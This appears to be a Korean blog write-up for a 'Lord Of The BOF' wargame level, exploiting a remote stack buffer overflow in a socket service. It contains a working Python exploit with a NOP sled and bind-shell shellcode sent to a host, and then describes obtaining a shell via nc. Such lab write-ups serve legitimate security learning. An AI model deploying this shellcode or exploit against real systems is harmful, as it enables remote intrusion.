농소
The Lord Of The BOF // xavius -> death_knight 본문
단순히 소켓을 통해 외부에서 bof를 해주면 되는 문제입니다.
현재 버퍼크기는 40바이트인데
while문의 recv를 보시면 buffer에 256바이트 크기를 받고있습니다.
bof가 발생하게 됩니다.
[xavius@localhost xavius]$ ps -ef
death_kn 646 1 0 Feb21 ? 00:00:00 /home/xavius/death_knight
프로세스를 보니 현재 실행중임을 알수 있으니
이를 통하여 nop코드와 쉘코드를 넣고 외부에서 보내주면 되겠네요
파이선으로 코드를 작성하면
from socket import *
payload = b'A' * 44
payload += b'\x12\xfd\xff\xbf'
payload += b'\x90' * 100
payload += b"\x66\xbd"
payload += b"\x2b\x67"
payload += b"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
payload += b"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
payload += b"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
payload += b"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
payload += b"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
payload += b"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
payload += b"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
payload += b"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
payload += b"\x53\xeb\xa8"
sock = socket(AF_INET, SOCK_STREAM)
sock.connect( ('100.100.100.****', 6666) )
data = sock.recv( 65535 )
data = sock.recv( 65535 )
sock.send( payload )
네트워크는 빅인디안을 사용하고 cpu는 리틀인디안을 사용하므로 고려해서 뒤집어줍니다.
원격에서는 ret주소를 정확히 알 겨를이 없어 brute force를 이용하지만 nop도 100개니 대충 때려 맞춰줍시다
nc로 11111번 포트로 접속하니 쉘이 실행이 되었습니다.
'Wargame > The Lord Of The BOF' 카테고리의 다른 글
The Lord Of The BOF // nightmare -> xavius (0) | 2018.02.22 |
---|---|
The Lord Of The BOF // succubus -> nightmare (0) | 2018.02.22 |
The Lord Of The BOF // zombie_assassin -> succubus (0) | 2018.02.21 |
The Lord Of The BOF // assasin -> zombie_assassin (0) | 2018.02.21 |
The Lord Of The BOF // giant -> assasin (0) | 2018.02.21 |